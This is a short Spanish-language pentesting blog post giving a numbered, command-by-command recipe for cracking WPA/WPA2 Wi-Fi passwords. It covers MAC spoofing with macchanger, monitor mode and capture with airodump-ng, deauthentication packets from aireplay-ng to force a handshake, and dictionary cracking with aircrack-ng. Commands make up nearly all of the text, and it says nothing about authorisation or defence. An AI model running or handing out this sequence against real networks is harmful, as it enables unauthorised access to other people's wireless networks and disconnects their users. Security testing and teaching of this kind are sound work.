Title: wpa Date: 2015-09-5 14:03 Modified: 2015-09-5 14:03 Category: Pentesting Tags: wpa, aircrack, wifi Slug: WPA Authors: procamora Summary:

WPA / WPA2 Cracking

1. Para saber que wlan tenemos.

```
airmon-ng
```

2. Para parar la wlan0.

```
airmon-ng stop wlan0
```

3. Para bajar el adaptador wifi y poder modificar su mac

```
ifconfig wlan0 down
```

4. Para cambiar la mac, podemos poner la que queramos.

```
macchanger --mac [00:11:22:33:44:55] wlan0
```

5. Para volver a activar la wlan0.

```
airmon-ng start wlan0
```

6. Para escanear las redes cercanas. Nos interesan las BSSID y la STATION.

```
airodump-ng mon0
```

7. En –channel ponemos el CH, en –bssid la MAC y en -w ponemos la direccion de donde queremos que se guarden los .cap.

```
airodump-ng mon0 --channel 11 --bssid [A0:21:B7:D5:A8:78] -w [/tmp/wpa2]
```

8. Para inyectar paquetes y capturar el Handshake, en -a ponemos la BSSID, en -c ponemos la STATION.

```
aireplay-ng -0 11 -a [A0:21:B7:D5:A8:78] -c [00:12:F0:D3:30:BC] mon0
```

> Una vez hecho esto solo nos queda desencriptar la password, lo podemos hacer de dos maneras por medio de diccionario o bruteandola con el Jonh The Ripper

9. Crackear con diccionario, -w aqui la dirección del diccionario -b la dirección MAC, y por ultimo la dirección de donde se guardaban los paquetes .cap

```
aircrack-ng -w [/pentest/passwords/wordlists/darkc0de.lst] -b [A0:21:B7:D5:A8:78] [/tmp/wpa2-01.cap]
```